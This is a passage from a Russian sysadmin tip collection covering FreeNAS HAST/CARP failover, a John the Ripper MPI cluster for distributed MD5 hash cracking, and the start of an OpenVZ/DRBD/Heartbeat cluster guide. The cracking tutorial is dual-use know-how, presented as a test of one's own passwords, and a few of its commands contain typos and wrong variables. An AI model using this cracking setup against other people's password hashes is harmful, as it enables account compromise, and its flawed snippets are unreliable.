    После первой загрузки FreeNAS настроим параметры сетевого доступа и DNS. Первый
    узел freenas1 будет иметь IP 192.168.137.31, а второй freenas2 -
    192.168.137.32. После первичной типовой настройки подключимся к shell.
    
    
    Настройка узла HAST
    
    Перемонтируем корневой раздел для обеспечения возможности записи:
    
      mount -uw /
     
    Создадим массив хранения RAID3 из дисков da1, da2, da3.
    
       graid3 label gr0raid3 da1 da2 da3
    
    В итоге будет создано устройство /dev/raid3/gr0raid3
     
    Включим поддержку CARP и активируем демон hastd:
    
       cat <<EOF >> /conf/base/etc/rc.conf
       ifconfig carp0 create
       ifconfig carp0 vhid 1 pass freenashast 192.168.137.30/24
       # enable HAST daemon
       hastd_enable="YES"
       EOF
     
    Если в директории  /boot/kerneldaemon отсутствует модуль if_carp.ko, скопируем
    его из системы на базе FreeBSD 8.2 или 8.3.
    
    Создадим файл конфигурации hast.conf, в котором определим /dev/raid3/gr0raid3 в
    качестве синхронизируемого между узлами хранилища:
    
       cat <<EOF > /conf/base/etc/hast.conf
       resource freenashast {
            on freenas1 {
                    local /dev/raid3/gr0raid3
                    remote freenas2
            }
            on freenas2 {
                    local /dev/raid3/gr0raid3
                    remote freenas1
            }
       }
       EOF
     
    Копируем hast.conf в директорию /etc и перезагружаем систему:
    
       cp /conf/base/etc/hast.conf /etc
     
    Создаём хранилище hast:
    
       hastctl create freenashast
     
    После появления устройства /dev/hast/freenashast назначаем текущему узлу роль первичной системы:
    
       hastctl role primary freenashast
     
    Создаём zpool в хранилище freenashast
    
       zpool create -m /mnt gr0 /dev/hast/freenashast
    
    Создаём символическую ссылку на директорию RAID3, чтобы web-интерфейс FreeNAS
    распознал вручную созданное хранилище:
    
       ln -s /dev/hast/freenashast /dev/raid3/gr1raid3
     
    После этого в GUI FreeNAS можно автоматически импортировать раздел gr0 и
    настроить совместный доступ  с использованием штатного web-интерфейса.
    
     
    Настроим демон devd для переключения HAST из режима master в slave и наоборот в
    зависимости от состояния сетевого линка:
    
       cat <<EOF >> /conf/base/etc/devd.conf
       notify 30 {
            match "system" "IFNET";
            match "subsystem" "carp0";
            match "type" "LINK_UP";
            action "/usr/local/sbin/carp-hast-switch master";
       };
     
       notify 30 {
            match "system" "IFNET";
            match "subsystem" "carp0";
            match "type" "LINK_DOWN";
            action "/usr/local/sbin/carp-hast-switch slave";
       };
       EOF
     
    Создадим скрипт hast-carp-switch, который будет выполнять переключение режимов:
    
       cat <<EOF > /usr/local/sbin/carp-hast-switch
    
       #!/bin/sh
       resources="freenashast"
       zfspool="gr0"
       delay=3
       log="local0.debug"
       name="carp-hast"
     
       case "$1" in
            master)
                    logger -p $log -t $name "Switching to primary provider for $resources."
                    # in order to wait for the original primary provider to change role state
                    # otherwise, brain-split may happen
                    sleep $delay
                    for disk in $resources; do
                            # ensure that this storage can be switched                        
                            while $(pgrep -lf "hastd: $disk \\(secondary\\)" > /dev/null 2>&1 ); do
                                    sleep 1
                            done
     
                            # Switch role for each disk
                            hastctl role primary $disk
                            if [ $? -ne 0 ]; then
                                    logger -p $log -t $name "Unable to change role to primary for resouce ${disk}."
                                    exit 1
                            fi
                    done
     
                    # Wait for the /dev/hast/* devices to appear
                    for disk in $resources; do
                            for I in $(jot 60); do
                                    [ -c "/dev/hast/${disk}" ] && break
                                    sleep 0.5
                            done
                            if [ ! -c "/dev/hast/${disk}" ] ; then
                                    logger -p $log -t $name "GEOM provider /dev/hast/$disk did not appear."
                                    exit 1
                            fi
                    done
     
                    logger -p $log -t $name "Role for HAST resources switched to primary."
     
                    logger -p $log -t $name "Importing ZFS pool."
                    zpool import -f $zfspool
     
                    # restart the enabled services
                    for srv in $(sqlite3 /data/freenas-v1.db "select srv_service from services_services where srv_enable=1" \\
                                    | xargs printf "grep 'bool_.*%s' /etc/rc.conf.local\\n" | sh | awk '{print $2}')
                   do
                             case $srv in
                                 winbindd_enable|samba_enable) /etc/local/rc.d/samba restart
                                            ;;
                                 netatalk_enable)        /etc/local/rc.d/netatalk restart
                                            ;;
                                 proftpd_enable)         /etc/local/rc.d/proftpd restart
                                            ;;
                                 inetd_enable)           /etc/rc.d/inetd restart
                                            ;;
                                 nfs_server_enable)      /etc/rc.d/nfsserver restart
                                            ;;
                                 mountd_enable)          /etc/rc.d/mountd restart
                                            ;;
                                 nfsd_enable)            /etc/rc.d/nfsd restart
                                            ;;
                                 rsyncd_enable)          /etc/local/rc.d/rsyncd restart
                                            ;;
                             esac
                  done
     
                    ;;
     
            slave)
                    logger -p $log -t $name "Switching to secondary provider for $resources."
                    # stop the running services
                    for srv in $(sqlite3 /data/freenas-v1.db "select srv_service from services_services where srv_enable=1" \\
                                    | xargs printf "grep 'bool_.*%s' /etc/rc.conf.local\\n" | sh | awk '{print $2}')
                   do
                             case $srv in
                                 winbindd_enable|samba_enable) /etc/local/rc.d/samba stop
                                            ;;
                                 netatalk_enable)        /etc/local/rc.d/netatalk stop
                                            ;;
                                 proftpd_enable)         /etc/local/rc.d/proftpd stop
                                            ;;
                                 inetd_enable)           /etc/rc.d/inetd stop
                                            ;;
                                 nfs_server_enable)      /etc/rc.d/nfsserver stop
                                            ;;
                                 mountd_enable)          /etc/rc.d/mountd stop
                                            ;;
                                 nfsd_enable)            /etc/rc.d/nfsd stop
                                            ;;
                                 rsyncd_enable)          /etc/local/rc.d/rsyncd stop
                                            ;;
                           esac
                    done
     
                    # export the zfs pool & change role to slave
                    for disk in $resources; do
                            zpool export -f $zfspool
                            sleep $delay
                            hastctl role secondary $disk 2>&1
                            if [ $? -ne 0 ]; then
                                    logger -p $log -t $name "Unable to switch role to secondary for resource $disk."
                                    exit 1
                            fi
                            logger -p $log -t name "Role switched to secondary for resource $disk"
                    done
                    ;;
            *)
                    logger -p $log -t $name "Usage: $0 "
                    exit 1
                    ;;
       esac
    
    Поменяем права доступа и перезагрузим систему: 
    
       chmod +x /usr/local/sbin/carp-hast-switch
       reboot
    
    После перезагрузки вручную установим первичный режим HAST для созданного хранилища:
    
       hastctl role primary freenashast
    
    Выше представленная инструкция рассчитана на создание master-узла. Для
    запасного slave-узла, который возьмёт на себя управление в случае сбоя
    первичного узла, настойка выполняется аналогично, за одним исключением - для
    интерфейса carp0 должен быть установлен меньший приоритет, чем на master-узле:
    
       ifconfig carp0 vhid 1 pass freenashast advskew 100 192.168.137.30/24
    
     
    ----* Запуск John the Ripper в MPI-кластере на базе Ubuntu 10.04 (доп. ссылка 1)   [комментарии]
     
    Инструкция по превращению нескольких компьютеров в MPI-кластер и последующем
    запуске в этом кластере John the Ripper с целью организации эксперимента по
    распределенному подбору значений, соответствующих заданному хэшу (например, для
    проверки своих паролей на надежность). Руководство носит упрощенный характер и
    не охватывает некоторых вопросов по обеспечению высокой надежности и
    безопасности, рассматривая процесс создания кластера как проводимый в
    академических целях эксперимент.
    
    Для создания кластера нам понадобиться как минимум два компьютера, работающих
    под управлением  Ubuntu Linux 10.04. Для соединения машин будет достаточно
    любых сетевых карт,  John the Ripper не требует большой пропускной способности.
    
    
    Настройка сервера.
    
    Для работы кластера нам потребуются следующие пакеты c реализацией MPI Message Passing Interface:
    
       $ sudo apt-get install libmpich1.0-dev libmpich-mpd1.0-dev libmpich-shmem1.0-dev mpich2 mpich2-doc 
    
    Дополнительно, установим John the Ripper, OpenSSH и комплект для сборки из исходных текстов:
    
       $ sudo apt-get install john openssh-server build-essentials
    
    
    Для упрощения настройки заносим IP и имя текущего хоста в /etc/hosts
    
       127.0.0.1 localhost
       10.0.0.1 server1.test.ru server1
    
    Создаем в системе пользователя "cluster" и создаем каталог bin в домашней
    директории этого пользователя:
    
       $ sudo useradd -m -s /bin/bash cluster
       $ sudo passwd cluster
    
       $ sudo su - cluster -c "mkdir ~/bin;export PATH=~/bin:$PATH"
    
    
    Настраиваем MPICH
    
    Создаем в домашней директории пользователя  cluster конфигурационный файл
    ~/.mpd.conf с настройками аутентификации для MPI-кластера.
    Записываем в файл ~/.mpd.conf строку "secretword=пароль", где пароль для
    аутентификации всех узлов кластера.
    
    
    Правим права доступа:
       $ chmod 600 ~/.mpd.conf
    
    Список узлов кластера, включая текущий сервер, перечисляем в файле ~/mpd.hosts.
    Формат строки файла "хост:число процессоров", т.е. для четырехядерного сервера
    c IP 10.0.0.2 указываем "10.0.0.2:4". Все IP должны быть доступны по сети, т.е.
    127.0.0.1 для локального узла указывать нельзя.
    
    Итоговый процесс настройки MPICH выглядит следующим образом:
    
       $ touch ~/.mpd.conf
       $ chmod 600 ~/.mpd.conf
       $ echo secretword=pass>~/.mpd.conf
       $ /sbin/ifconfig|grep "inet addr" # смотрим IP на хостах
    
       inet addr:10.0.0.1 Bcast:10.255.255.255 Mask:255.0.0.0
       inet addr:127.0.0.1 Mask:255.0.0.0
    
       $ cat /proc/cpuinfo|grep processor|wc -l # смотрим число ядер CPU
    
       1
    
       $ echo "10.0.0.1:1" >> ~/mpd.hosts
    
    Запускаем кластер:
    
       $ mpdboot
    
    Просматриваем список узлов кластера:
    
       $ mpdtrace
    
    Завершаем работу кластера:
    
       $ mpdallexit
    
    
    Установка John the Ripper
    
    Исходные тексты версии John the Ripper с дополнительными MPI-патчами можно
    загрузить на странице http://www.bindshell.net/tools/johntheripper
    
    Загружаем код:
    
       $ mkdir source
       $ cd source
       $ wget http://www.bindshell.net/tools/johntheripper/john-1.7.2-bp17-mpi8.tar.gz
    
    Распаковываем архив и выполняем сборку:
    
       $ tar -zxf john-1.7.2-bp17-mpi8.tar.gz
       $ cd john-1.7.2-bp17-mpi8/src/
       $ make # будет выведен список опций
       $ make linux-x86-sse2
    
    где вместо linux-x86-sse2 можно указать другой тип системы:
    
       linux-x86-mmx Linux, x86 с MMX
       linux-x86-sse Linux, x86 с SSE2 (лучший выбор)
       linux-x86-any Linux, x86
       linux-x86-64 Linux, AMD x86-64, 64-bit/SSE2 (лучший выбор)
       linux-x86-64-mmx Linux, AMD x86-64, 32-bit с MMX
    
    
    Проверяем работу собранной программы:
    
       $ ../run/john -format=DES -test
    
       Benchmarking: Traditional DES [128/128 BS SSE2]... DONE
       Many salts: 1994K c/s real, 1994K c/s virtual
       Only one salt: 1658 c/s real, 1654K c/s virtual
    
    Копируем исполняемый файл в директорию ~/bin
    
       $ mv ../run/* ~/bin
    
    Проверяем, что John the Ripper собран с поддержкой MPI:
    
       $ john|grep mpi
    
       John the Ripper password cracker, version 1.7.2_bp17_mpi
    
    
    Повторяем все ранее описанные шаги на всех узлах кластера.
    
    Настраиваем беспарольный вход по SSH для пользователя cluster для всех узлов кластера.
    
    Генерируем rsa-ключ:
    
       $ ssh-keygen -t rsa
    
    Копируем ключ на другие узлы кластера:
    
       $ ssh cluster@10.0.0.2 mkdir -p .ssh
       $ cat .ssh/id_rsa.pub | ssh cluster@10.0.0.2 'cat>>.ssh/authorized_keys'
    
    Добавляем параметры узла в ~/mpd.hosts и создаем ~/.mpd.conf и ~/mpd.hosts на удаленных узлах:
    
       $ ssh cluster@10.0.0.2 'cat /proc/cpuinfo|grep processor|wc -l'
       2
       $ echo 10.0.0.2:2 >> ~/mpd.hosts
       $ for i in `cut --delimiter=: -f1 ~/mpd.hosts`;do scp ~/.mpd.conf cluster@$i:~; scp ~/mpd.hosts cluster@$i:~; done
    
    Добавляем в /etc/hosts имя дополнительного узла:
    
       10.0.0.2 node1
    
    Синхронизируем содержимое /etc/hosts на всех узлах.
    Если этого не сделать возникнет ошибка:
    
       mpdboot_server (handle_mpd_output 407): failed to handshake with mpd on 10.0.0.2; recvd
    
    Запускаем кластер:
    
       $ mpdboot --verbose --ncpus=1 -n 2
    
       running mpdallexit on server
       LAUNCHED mpd on server via
       RUNNING: mpd on server
       LAUCNHED mpd on 10.0.0.2 via server
       RUNNING: mpd on 10.0.0.2
    
    где, --verbose - вывод расширенной информации, а "--ncpus=1" - задаем число CPU
    для текущего сервера, "-n 2" - указываем, что в кластере 2 узла (текущий сервер
    10.0.0.1 + внешний узел 10.0.0.2).
    
    На втором узле 10.0.0.2 MPICH будет запущен автоматически.
    
    Смотрим список активных узлов:
    
       $ mpdtrace
       server
       node1
    
    
    Для тестирования, запустим команду hostname на всех узлах:
    
       $ mpiexec -np 3 hostname
    
       server
       node1
       node1
    
    node1 - вывелось два раза так как к узлу привязано 2 CPU и задача была выполнена два раза.
    
    Завершаем работу кластера:
    
       $ mpdallexit
       Using the MPI cluster to crack passwords.
    
    Попробуем подобрать значение для MD5-хэша:
    
       $ echo fb7852f240efac3c0bdce8cf9dcb2e50 > crackme1.md5
    
    Запускаем кластер:
    
       $ mpdboot --ncpus=2 -n 2
    
    Копируем файл crackme1.md5 на все узлы:
    
       $ for i in `cut --delimiter=: -f1 ~/mpd.hosts`;do scp ~/crackme1.mp5
    cluster@$1:~;done
    
    Чтобы упросить процесс копирования на все узлы кластера напишем простой скрипт  distributer.sh:
    
       #!/bin/bash
    
       # usage: ./distributer.sh filename
    
       for x in `cut --delimiter=: -f1 ~/mpd.hosts`;do scp $1 cluster@$i:~;done
    
    Запускаем John the Ripper на 3 CPU:
    
       $ mpiexec -np 3 john --format:raw-MD5 crackme1.md5
    
       Loaded 1 password hash (Raw MD5 [raw-md5 SSE2])
       Loaded 1 password hash (Raw MD5 [raw-md5 SSE2])
       Loaded 1 password hash (Raw MD5 [raw-md5 SSE2])
    
       test1 (user)
    
    Process 2 completed loop.
    
    Threat: 2 guesses: 1 time 0:00:00:02 (3) c/s: 5616K trying: 12345 - 56778
    
    После завершения подбора завершаем работу кластера:
    
       $ mpdallexit
    
     
    ----* Отказоустойчивый кластер на базе OpenVZ, DRBD и Heartbeat 2   Автор: Максим Зиналь  [комментарии]
     
    Постановка задачи и общее описание решения 
    
    Совместное применение технологий Linux Heartbeat, DRBD и OpenVZ позволяет
    создавать удобные в эксплуатации решения, обеспечивающие повышенную надёжность
    функционирования важных для пользователей сервисов. Несмотря на доступность
    большого количества материалов по технологиям построения отказоустойчивых
    решений на базе ОС Linux, автору данной статьи не удалось отыскать полного и
    исчерпывающего описания процесса создания системы, основанной на сочетании
    использования перечисленных выше технологий. Данная статья описывает результаты
    практической апробации отказоустойчивого решения, осуществляющего
    автоматическую миграцию виртуальных окружений OpenVZ на резервный узел кластера
    при нарушении функционирования основного узла.
    
    Рассматриваем пример развёртывания приложения, использующего базу данных
    (PostgreSQL) и развёртываемого на базе сервера приложений (Tomcat). В качестве
    базовой операционной системы используем Debian GNU/Linux 5.0 (Lenny).
    
    Предполагаем, что приложение не поддерживает кластерный режим работы (не может
    функционировать одновременно на нескольких узлах). Для обеспечения
    отказоустойчивого функционирования используем два идентичных сервера, на одном
    из которых в нормальном режиме функционируют необходимые базы данных, на другом
    - сервер приложений. Взаимодействие между базами данных и приложениями
    осуществляется через сеть TCP/IP.
    
    Для установки сервера СУБД и сервера приложений создаем отдельные виртуальные
    OpenVZ-окружения. Конфигурация виртуальных окружений и физических серверов
    подбирается таким образом, чтобы на одном физическом сервере при необходимости
    могли одновременно функционировать как сервер СУБД, так и сервер приложений
    (возможно, со сниженной производительностью).
    
    Для обеспечения функционирования OpenVZ при использовании 32-битной версии
    Debian GNU/Linux физические сервера должны поддерживать технологию PAE
    (Physical Address Extension). Если вместо физических серверов используются
    виртуальные машины VirtualBox, требуется включить соответствующий режим в
    настройках виртуальной машины.
    
    Для синхронизации данных, хранящихся на физических серверах, используем DRBD в
    режиме master-slave. На физических серверах создаем два DRBD-раздела (один для
    сервера приложений, другой для сервера СУБД), причём в нормальном режиме
    функционирования на каждом из серверов в режиме master находится только один из DRBD-разделов.
    
    Для контроля доступности серверов кластера и переключения на резервный узел при
    отказе основного узла используем Heartbeat.
    Создаваемый в результате кластер обеспечивает автоматическую миграцию ресурсов
    с вышедшего из строя узла кластера на оставшийся работоспособным узел.
    Поскольку ни используемая СУБД, ни приложения не поддерживают кластерный режим
    работы, неизбежно возникает приостановка предоставления сервисов на период
    миграции ресурсов с остановленного узла кластера на работающий.
    Продолжительность периода приостановки сервисов зависит от времени запуска
    мигрируемых сервисов после сбоя, из практических соображений в нашем примере
    получается, что этот период будет менее 1 минуты.
    
    Необходимые первоначальные знания и навыки 
    
    1.Работа с инсталлятором системы Debian/GNU Linux 5.0, в частности, с модулем
    разметки дисков. Умение установить и настроить базовую систему.
    
    2.Установка и удаление пакетов Debian с использованием программы aptitude.
    Настройка исходных репозиториев для установки и обновления программ (/etc/apt/sources).
    
    3.Понимание принципов работы LVM, навыки настройки и применения LVM (http://tldp.org/HOWTO/LVM-HOWTO/).
    
    4.Понимание принципов работы OpenVZ (http://www.openvz.org/). Навыки настройки
    окружений OpenVZ и работы с ними.
    
    5.Общее понимание принципов организации отказоустойчивых кластеров (контроль
    доступности, синхронизация данных, миграция ресурсов, потеря синхронизации -
    "brain split").
    
    6.Понимание принципов работы DRBD 8 (http://www.drbd.org/). 
    
    7.Понимание принципов работы Heartbeat 2 (http://linux-ha.org/wiki/Heartbeat). 
    
    
    Установка базовой системы 
    
    Для установки базовой системы может использоваться дистрибутивный комплект
    Debian GNU/Linux 5.0. При установке для удобства дальнейшей работы выполним
    русификацию системы, а вот от установки группы пакетов "Стандартная система"
    откажемся - большая часть пакетов из этой группы нам не понадобится.
    
    Установку системы на обоих узлах выполняем идентичным образом, различаются
    только имя узла и сетевые настройки. В данном примере использовались параметры,
    приведённые в таблице.
    
       Параметр   Узел 1         Узел 2 
       Имя узла   deimos         phobos 
       IP-адрес   192.168.5.101  192.168.5.102 
    
    Для разметки дисков используем комбинацию обычных разделов и LVM. Для корневой
    файловой системы (совмещённой с файловой системой /boot) создаем обычный раздел
    &#8470;1 размером 4 Гбайт (этого более, чем достаточно для размещения
    необходимых компонентов), всё остальное пространство выделяем в раздел 2 и
    создаем на нем физический том LVM.
    Здесь предполагается, что к серверам подключено по одному диску (тому дискового
    массива), в случае наличия нескольких устройств следует особым образом
    спланировать порядок их использования.
    
    На основе созданного физического тома LVM создаем группу логических томов, в
    которой создаем том подкачки (размер зависит от размера оперативной памяти) и
    том для файловой системы /var (объёмом 2 Гбайт).
    
    Для корневой файловой системы и файловой системы /var используем файловую
    систему ext3, так как на нее меньше всего нареканий по части восстановления в
    аварийных ситуациях.
    
    После завершения установки необходимо убедиться в наличии связи между узлами
    кластера с помощью команды ping. Для обеспечения доступа к узлам кластера по
    именам рекомендуется прописать соответствие адресов именам в файле /etc/hosts.
    
    
    Установка дополнительных пакетов 
    
    Вместо установленной по умолчанию версии ядра необходимо установить ядро с поддержкой OpenVZ: 
    
       aptitude install linux-image-2.6-openvz-686
       aptitude remove linux-image-2.6-686
    
    Также необходимо установить модули DRBD8 и соответствующие управляющие программы: 
    
       aptitude install drbd8-modules-2.6-openvz-686 drbd8-utils
    
    
    Установка Heartbeat 2: 
    
       aptitude install heartbeat-2
    
    Для удобства работы устанавливаем mc, less, atop и ssh: 
    
       aptitude install mc atop ssh
    
    
    Настройка DRBD 
    
    На каждом узле будущего кластера необходимо создать по два тома: один для базы
    данных, другой - для сервера приложений.
    
    Размер томов следует выбирать исходя из планируемых потребностей базы данных и
    сервера приложений. В дальнейшем при необходимости можно будет расширить
    соответствующие тома. Поскольку заранее точно предсказать требуемое
    пространство (и его соотношение между потребителями) достаточно сложно,
    предпочтительно оставить в группе томов LVM достаточный объём свободного
    пространства, а виртуальным окружениям выделить тот объём, который будет
    необходим в ближайшее время.
    
    Пример команд создания томов LVM: 
    
       lvcreate -L 8G -n db VGroup00
       lvcreate -L 4G -n apps VGroup00
    
    Далее необходимо создать конфигурационный файл /etc/drbd.conf, определяющий
    состав дисковых ресурсов DRBD. Пример конфигурационного файла drbd.conf:
    
       global {
           usage-count no;
       }
    
       common {
         handlers {
           pri-on-incon-degr "echo o > /proc/sysrq-trigger ; halt -f";
           pri-lost-after-sb "echo o > /proc/sysrq-trigger ; halt -f";
           local-io-error "echo o > /proc/sysrq-trigger ; halt -f";
           outdate-peer "/usr/lib/heartbeat/drbd-peer-outdater -t 5";
           # pri-lost "echo pri-lost. Have a look at the log files. | mail -s 'DRBD Alert' root";
           # split-brain "echo split-brain. drbdadm -- --discard-my-data connect $DRBD_RESOURCE ? | mail -s 'DRBD Alert' root";
         }
    
        startup {
           # wfc-timeout  0;
           degr-wfc-timeout 120;    # 2 minutes.
           # wait-after-sb;
         }
    
         disk {
           on-io-error   detach;
           no-disk-flushes;
           no-md-flushes;
         }
    
         syncer {
           rate 30M;
           al-extents 257;
         }
    
         net {
           sndbuf-size 512k;
    
           timeout       60;    #  6 seconds  (unit = 0.1 seconds)
           connect-int   10;    # 10 seconds  (unit = 1 second)
           ping-int      10;    # 10 seconds  (unit = 1 second)
           ping-timeout   5;    # 500 ms (unit = 0.1 seconds)
    
           max-buffers     2048;
    
           cram-hmac-alg "sha1";
           shared-secret "DJujhjltepbyfFDRbtddtLzlmrf";
    
           after-sb-0pri discard-younger-primary;
           after-sb-1pri consensus;
           after-sb-2pri disconnect;
           rr-conflict disconnect;
         }
       }
    
       resource db {
    
         protocol C;
    
         on deimos {
           device     /dev/drbd0;
           disk       /dev/VGroup00/db;
           address    192.168.5.101:7788;
           flexible-meta-disk  internal;
         }
    
         on phobos {
           device     /dev/drbd0;
           disk       /dev/VGroup00/db;
           address    192.168.5.102:7788;
           flexible-meta-disk  internal;
         }
       }
    
       resource apps {
    
         protocol C;
    
         on deimos {
           device     /dev/drbd1;
           disk       /dev/VGroup00/apps;
           address    192.168.5.101:7789;
           flexible-meta-disk  internal;
         }
    
         on phobos {
           device     /dev/drbd1;
           disk       /dev/VGroup00/apps;
           address    192.168.5.102:7789;
           flexible-meta-disk  internal;
         }
       }
    
    В приведённом примере: 
    Параметры в секции common наследуются всеми ресурсными секциями. При
    необходимости для конкретных ресурсов эти параметры можно переопределить.
    
    Настройками определено два DRBD-устройства: /dev/drbd0 и /dev/drbd1, для
    каждого из которых используются два хранилища: на узле phobos и на узле deimos.
    
    Параметр syncer.rate требуется установить исходя из пропускной способности
    сетевого интерфейса между узлами. Параметр задается в единицах байт/сек,
    суффикс M означает умножение на 1 млн.
    
    Параметр common.net.shared-secret требуется установить в значение пароля,
    используемого для аутентификации взаимодействия между узлами.
    
    Сетевые адреса узлов и номера портов необходимо установить в соответствии с
    сетевой конфигурацией, соответствующие параметры:
    
       resource(db).on(deimos).address 
       resource(db).on(phobos).address 
       resource(apps).on(deimos).address 
       resource(apps).on(phobos).address 
    
    Подготовленный конфигурационный файл /etc/drbd.conf должен быть одинаков на
    обоих узлах. Передать файл с узла phobos на узел deimos можно командой:
    
       scp /etc/drbd.conf deimos:/etc/drbd.conf
    
    Необходимо убедиться, что DRBD запущен. Для этого используется команда
    /etc/init.d/drbd status. Если DRBD остановлен, требуется выполнить команду
    /etc/init.d/drbd start.
    
    После создания и синхронизации конфигурационного файла необходимо выполнить
    инициализацию томов DRBD выполнением (на каждом узле) следующих команд:
    
       drbdadm create-md db
       drbdadm create-md apps
    
    После завершения томов необходимо форсировать синхронизацию томов между узлами.
    Для этого следует выбрать (произвольным образом) один из узлов в качестве
    основного, и выполнить на нем команды:
    
       drbdsetup /dev/drbd0 primary -o
       drbdsetup /dev/drbd1 primary -o
    
    Ход синхронизации можно контролировать по содержимому файла /proc/drbd. После
    завершения синхронизации рекомендуется перезагрузить оба узла и
    проконтролировать, что запуск DRBD был выполнен автоматически и что состояние
    томов является синхронным, путём выполнения (после перезагрузки) команды
    /etc/init.d/drbd status.
    
    Создание виртуальных окружений 
    
    Перед созданием виртуальных окружений необходимо принять решение, на каком из
    физических серверов какое из двух виртуальных окружений должно функционировать
    в нормальном режиме. Предположим, что сервер баз данных (db) будет
    функционировать на физическом сервере deimos, а сервер приложений (apps) - на
    физическом сервере phobos.
    
    Действия по настройке каждого из виртуальных окружений будем выполнять на том
    физическом сервере, на котором данное окружение будет в дальнейшем
    преимущественно функционировать. Затем скопируем необходимые настройки на
    второй сервер.
    
    Первым шагом в создании виртуальных окружений является создание файловых
    систем, в которых будут размещаться данные этих виртуальных окружений:
    
    1.Создаются каталоги для монтирования файловых систем виртуальных окружений 
    
    2.Соответствующей DRBD-устройство переводится в режим "primary" 
    
    3.Создается файловая система ext3 на DRBD-устройстве 
    
    4.Отключаются автоматические проверки целостности файловой системы при монтировании 
    
    5.Выполняется монтирование созданной файловой системы 
      
    На сервере deimos выполняем команды: 
    
       mkdir /Data
       mkdir /Data/db
       mkdir /Data/apps
       drbdadm primary db
       mkfs -t ext3 /dev/drbd0
       tune2fs  -c 0 -i 0 /dev/drbd0
       mount /dev/drbd0 /Data/db
      
    На сервере phobos выполняем команды: 
    
       mkdir /Data
       mkdir /Data/db
       mkdir /Data/apps
       drbdadm primary apps
       mkfs -t ext3 /dev/drbd1
       tune2fs  -c 0 -i 0 /dev/drbd1
       mount /dev/drbd1 /Data/apps
    
    Создание виртуальных окружений необходимо выполнять на основе шаблона. Такой
    шаблон можно подготовить самостоятельно в соответствии с инструкцией
    (http://wiki.openvz.org/Debian_template_creation), либо использовать готовый.
    
    Для создания виртуальных окружений используются команды: 
    
    На сервере deimos
    
       vzctl create 101 --ostemplate debian-5.0-i386-my --ipadd \
          192.168.5.103 --hostname db --private /Data/db/vm
    
    На сервере phobos
    
       vzctl create 102 --ostemplate debian-5.0-i386-my --ipadd \
          192.168.5.104 --hostname apps --private /Data/apps/vm
    
    Необходимо учесть следующие особенности: 
    
    1.Виртуальным окружениям необходимо присвоить разные идентификаторы (в нашем
    примере - 101 и 102), иначе их нельзя будет запустить на одном сервере.
    
    2.IP-адреса и имена хостов виртуальных окружений должны соответствовать
    используемой сетевой конфигурации.
    
    3.В параметре ostemplate нужно указать имя используемого шаблона виртуальных окружений. 
    
    4.Подкаталог 'vm' томов виртуальных окружений не должен существовать на момент
    выполнения команды vzctl create, иначе команда завершится с ошибкой.
    
    После создания виртуальных окружений необходимо установить для них ресурсные
    ограничения и проверить формальную корректность выполненных настроек. Величина
    ресурсных ограничений зависит от доступных аппаратных ресурсов серверов и от
    потребностей запускаемых приложений. В нашем примере используются следующие
    команды настройки:
    
    На сервере deimos
    
       vzctl set 101 --numproc 300:300 --kmemsize 32m:40m \
         --vmguarpages 512m:unlimited --privvmpages 512m:512m \
         --oomguarpages 256m:unlimited  --shmpages 256m:256m \
         --tcpsndbuf 1m:2m --tcprcvbuf 1m:2m --save
    
    На сервере phobos
    
       vzctl set 102 --numproc 300:300 --kmemsize 32m:40m \
         --vmguarpages 512m:unlimited --privvmpages 512m:512m \
         --oomguarpages 256m:unlimited  --shmpages 256m:256m \
         --tcpsndbuf 1m:2m --tcprcvbuf 1m:2m --save
    
    В приведённом примере разрешено запускать до 300 потоков выполнения (параметры
    numproc и kmemsize), использующих до 512 Мбайт виртуальной памяти (параметры
    vmguardpages, privvmpages), с гарантией отсутствия вытеснения при нехватке
    памяти до 256 Мбайт (параметр oomguarpages), и с допустимым использованием
    разделяемой памяти System V до 256 Мбайт (параметр shmpages). Также установлен
    увеличенный размер буферов протокола TCP.
    
    Для проверки корректности полученной конфигурации используется программа vzcfgvalidate: 
    
    На сервере deimos
    
       vzcfgvalidate /etc/vz/conf/101.conf 
    
    На сервере phobos
    
       vzcfgvalidate /etc/vz/conf/102.conf 
    
    Необходимо отключить автоматический запуск виртуальных окружений при старте
    сервера, так как запуск и остановка должны выполняться под управлением системы Heartbeat.
    
    На сервере deimos
    
       vzctl set 101 --onboot no --save
    
    На сервере phobos
    
       vzctl set 102 --onboot no --save
    
    Для запуска и остановки виртуальных окружений вручную используются команды: 
    
    На сервере deimos
    
       vzctl start 101   # Запуск
       vzctl stop 101    # Остановка
    
    На сервере phobos
    
       vzctl start 102   # Запуск
       vzctl stop 102    # Остановка
    
    ВНИМАНИЕ! Запуск и остановка виртуальных окружений вручную, как и другие
    операции ручного манипулирования состоянием управляемых Heartbeat ресурсов
    (включая тома DRBD и созданные на них файловые системы) допускается только
    тогда, когда службы Heartbeat остановлены на обоих узлах кластера. Или - в
    нашем текущем примере - ещё не настроены вовсе.
    
    После первоначального запуска созданных виртуальных окружений можно выполнить
    установку в эти виртуальные окружения прикладного программного обеспечения, а
    можно и отложить действия по установке до завершения настройки кластера. В
    нашем примере можно установить сервер СУБД в виртуальное окружение db и сервер
    приложений в виртуальное окружение apps:
      
    На сервере deimos выполняем команды: 
    
       vzctl enter 101
       aptitude install postgresql
       exit
      
    На сервере phobos выполняем команды: 
    
       vzctl enter 102
       cd /root
       mkdir DISTRIB
       cd DISTRIB
       scp files.sample.com:/distrib/jdk-6u22-linux-i586.bin .
       scp files.sample.com:/distrib/apache-tomcat-6.0.29.tar.gz .
       cd /opt
       sh /root/DISTRIB/jdk-6u22-linux-i586.bin
       tar xfz /root/DISTRIB/apache-tomcat-6.0.29.tar.gz
       exit
    
    Описание полного состава действий по настройке СУБД, сервера приложений и самих
    приложений выходит за рамки данной статьи.
    Конфигурационные файлы виртуальных окружений необходимо сохранить на обоих
    узлах кластера. Для этого на узле phobos выполним следующие команды:
    
       scp deimos:/etc/vz/conf/101.conf  /etc/vz/conf/
       scp /etc/vz/conf/102.conf  deimos:/etc/vz/conf/
    
    
    Настройка Heartbeat 
    
    В рамках подготовки к настройке Heartbeat необходимо активировать модуль ядра
    softdog, обеспечивающий автоматическую перезагрузку физического сервера при
    длительном отсутствии активности со стороны системы Heartbeat. Для этого на
    обоих узлах кластера (phobos и deimos) выполняются следующие команды:
    
       modprobe softdog nowayout=0
       echo "softdog nowayout=0" >>/etc/modules.conf
    
    Настройка Heartbeat заключается в создании трёх конфигурационных файлов: 
    
       /etc/ha.d/ha.cf - файл основной конфигурации Heartbeat 
       /etc/ha.d/authkeys - файл аутентификации узлов 
       /etc/ha.d/haresources - файл описания ресурсов кластера 
    
    Файлы authkeys и haresources должны быть одинаковы на обоих узлах кластера.
